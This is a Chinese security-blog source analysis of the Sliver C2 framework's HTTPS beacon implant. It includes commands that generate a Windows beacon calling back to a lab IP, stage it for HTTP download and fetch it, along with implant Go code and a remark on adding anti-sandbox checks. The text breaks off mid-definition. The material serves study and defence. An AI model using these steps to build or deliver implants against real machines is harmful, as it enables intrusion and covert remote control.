sliver源码分析 | 植入物行为
2024-11-27 18:47:12 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

  • 项目概述:对开源的C2框架sliver进行源码分析,意图学习其原理。本篇分析sliver生成植入物的行为,这里主要分析C2应用最为广泛的https协议的beacon,理解它的整个流程。

  • 目标与读者:网络安全兴趣爱好者、红队、蓝队

git clone https://github.com/BishopFox/sliver.git

在项目根目录的implant是未经过渲染的源码模板,后续在服务端分析详细介绍。我们这里直接根据之前的分析找到进行go build的临时目录,将整个源码打包出来分析。

前文 sliver源码分析 | 植入物生成逻辑 - FreeBuf网络安全行业门户
生成windows的植入物,最终找到的植入物源码路径在

~/.sliver/slivers/windows/amd64/xxxx/src

其中xxxx是随机生成的名称,每次生成新的植入物都会更新
为了方便查找,可以将~/.sliver/slivers/清空后生成一次植入物,即可得到刚刚生成植入物的go源码

实际操作

这里以在kali-linux作为基准,这里terminal 1 表示使用的第一个terminal

terminal 1
到达生成源码的路径

cd ~/.sliver/slivers/

如果此前未执行植入物生成,则这里的路径会是空的

terminal 2
启动sliver,并且开启一个简单的https监听,使用默认配置生成一个植入物

./sliver-server

sliver > https

sliver > jobs

 ID   Name    Protocol   Port   Domains
==== ======= ========== ====== =========
 1    https   tcp        443

由于在内网进行试验,所以这里写当前kali的内网ip,加上-d表示开启debug

generate beacon --http 10.10.100.144:443 --save beacon.exe -d

等待生成完毕,会在当前目录得到beacon.exe

然后在 terminal 1 中可以看到

└─$ ls
windows

└─$ cd windows/amd64/RISING_ANESTHESIOLOGY/

└─$ ls
bin  src

其中bin是生成的exe的路径,而src路径下就是我们要的源码

这里参考官方官方的profile进行分析
Sliver Tutorial: 3 - C2 Profiles and configuration
其中这个部分

- `.woff` for staging
- `.js` for poll requests
- `.html` for key exchanges
- `.png` for close session
- `.php` for session messages

可以得知sliver的默认植入物在http交互中整个生命周期会用的后缀,因为他的默认目标是ruby-on-rails,所以根据默认目标设定了这个后缀。

Staging阶段--不在源码中

terminal 2 中查看植入物,可以看到植入物的信息(Name,Implant Type,Template,OS/Arch,Format,Command & Control,Debug,C2 Config,ID,Stage)

sliver > implants

 Name                    Implant Type   Template   OS/Arch             Format   Command & Control               Debug   C2 Config   ID      Stage
======================= ============== ========== =============== ============ =============================== ======= =========== ======= =======
 RISING_ANESTHESIOLOGY   beacon         sliver     windows/amd64   EXECUTABLE   [1] https://10.10.100.144:443   true    default     22352   false

其中stage是表示这个植入物是否开放下载,即通过http去投递,而这个ID则是为了确定下载的时候定位这个植入物。
这里的false需要通过下面的命令进行开启,使它切换为true

implants stage

然后选择植入物名称,按空格,出现[x]之后按enter确定。
再次查看即可看到stage状态为true

sliver > implants stage

? Select sessions and beacons to expose: RISING_ANESTHESIOLOGY

sliver > implants

 Name                    Implant Type   Template   OS/Arch             Format   Command & Control               Debug   C2 Config   ID      Stage
======================= ============== ========== =============== ============ =============================== ======= =========== ======= =======
 RISING_ANESTHESIOLOGY   beacon         sliver     windows/amd64   EXECUTABLE   [1] https://10.10.100.144:443   true    default     22352   true

这里用aria2c,因为它可以方便的忽略证书

aria2c --check-certificate=false -o some.exe https://10.10.100.144/test.woff?a=22352

但是我们已经在~/.sliver/slivers/windows/amd64/RISING_ANESTHESIOLOGY/找到了它的源码,也就是说,源码里没有staging阶段

我们可以在bin目录来对比这两个是否一致RISING_ANESTHESIOLOGY.exe为临时目录里生成的植入物,some.exe是通过https下载的。

Get-FileHash -Path "RISING_ANESTHESIOLOGY.exe" -Algorithm SHA256
Get-FileHash -Path "some.exe" -Algorithm SHA256

可以看到完全一致

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          510AF540F1A362F62553D58CD880F2F2BDDBA4B3F31DBBDCE7E35D577ECC91E5       C:\Users\Administrator\Desktop\code\bin\RISING_ANESTHESIOLOGY.exe
SHA256          510AF540F1A362F62553D58CD880F2F2BDDBA4B3F31DBBDCE7E35D577ECC91E5       C:\Users\Administrator\Desktop\code\bin\some.exe

源码分析

sliver.go
按照执行时间,首先看init()

var (
	InstanceID       string
	connectionErrors = 0
	ErrTerminate     = errors.New("terminate")
)

func init() {
	id, err := uuid.NewV4()
	if err != nil {
		buf := make([]byte, 16) // NewV4 fails if secure rand fails
		insecureRand.Read(buf)
		id = uuid.FromBytesOrNil(buf)
	}
	InstanceID = id.String()
}

很明显。初始化了一个UUID。
然后再看main函数

func main() {
	log.SetFlags(log.LstdFlags | log.Lshortfile)
	debugFilePath := ""
	if debugFilePath != "" {
		file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
		if err == nil {
			log.SetOutput(file)
		}
	}
	log.Printf("Hello my name is %s", consts.SliverName)
	limits.ExecLimits() // Check to see if we should execute
	beaconStartup()
}

这里如果发现源码中没有log.Printf,说明生成植入物的时候没有加上-d,需要开启调试模式才会在渲染植入物源码的时候加上各种日志。

2024/11/26 16:55:54 sliver.go:92: Hello my name is RISING_ANESTHESIOLOGY 2024/11/26 16:55:54 limits.go:58: Limit checks completed 2024/11/26 16:55:54 sliver.go:109: Running in Beacon mode with ID: 1453b598-1cdc-4172-9bfb-8f33933a09e6

limits.ExecLimits()的内容是检查是否应该运行,就是说,这里可以加入一些反沙箱的东西。

// ExecLimits - Checks for execution limitations (domain, hostname, etc)
func ExecLimits() {
	log.Printf("Limit checks completed")
	os.Executable() // To avoid any "os unused" errors
}

函数的注释说明这里可以做一些域名、主机名之类的检测,来过掉某些沙箱

main->beaconStartup

func beaconStartup() {
	// 
	log.Printf("Running in Beacon mode with ID: %s", InstanceID)
	// 
	abort := make(chan struct{})
	defer func() {
		abort <- struct{}{}
	}()
	beacons := transports.StartBeaconLoop(abort)
	for beacon := range beacons {
		// 
		log.Printf("Next beacon = %v", beacon)
		// 
		if beacon != nil {
			err := beaconMainLoop(beacon)
			if err != nil {
				connectionErrors++
				if transports.GetMaxConnectionErrors() < connectionErrors {
					return
				}
			}
		}
		reconnect := transports.GetReconnectInterval()
		// 
		log.Printf("Reconnect sleep: %s", reconnect)
		// 
		time.Sleep(reconnect)
	}
}

创建了一个abort的空结构体,用于终止循环。
通过beacons := transports.StartBeaconLoop(abort)初始化beacon,即根据模板填充的C2的HOST以及beacon类型(这里用的是https)进行初始化。
然后使用这个beacon开始执行beaconMainLoop,也就是进入key exchanges以及poll requests阶段。如果连接失败达到最大次数则会直接return。

StartBeaconLoop

开始分析main->beaconStartup->StartBeaconLoop

func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
	// 
	log.Printf("Starting beacon loop ...")
	// 

	var beacon *Beacon
	nextBeacon := make(chan *Beacon)

	innerAbort := make(chan struct{})
	c2Generator := C2Generator(innerAbort)

	go func() {
		defer close(nextBeacon)
		defer func() {
			innerAbort <- struct{}{}
		}()

		// 
		log.Printf("Recv from c2 generator ...")
		// 
		for uri := range c2Generator {
			// 
			log.Printf("Next CC = %s", uri.String())
			// 

			switch uri.Scheme {

			// *** MTLS ***
			//   - IncludeMTLS
			case "wg":
				// *** WG ***
				//   - IncludeWG
			case "https":
				fallthrough
			case "http":
				// *** HTTP ***
				// 
				beacon = httpBeacon(uri)
				//  - IncludeHTTP

			case "dns":
				// *** DNS ***
				//  - IncludeDNS

			default:
				// 
				log.Printf("Unknown c2 protocol %s", uri.Scheme)
				// 
			}
			select {
			case nextBeacon <- beacon:
			case <-abort:
				return
			}
		}
	}()

	return nextBeacon
}

可以看到这个函数首先调用了C2Generator获得了c2Generator
这个c2Generator的类型是<-chan *url.URL所以需要用range来读取channel的数据,即URL
然后通过beacon = httpBeacon(uri)构建httpBeacon,最后将beacon传入nextBeacon进行后续的操作。

beacon

为后面分析做铺垫,先看看定义的结构体
implant\sliver\transports\beacon.go

// Beacon - Abstract connection to the server
type Beacon str

文章来源: https://www.freebuf.com/sectool/416343.html
如有侵权请联系:admin#unsafe.sh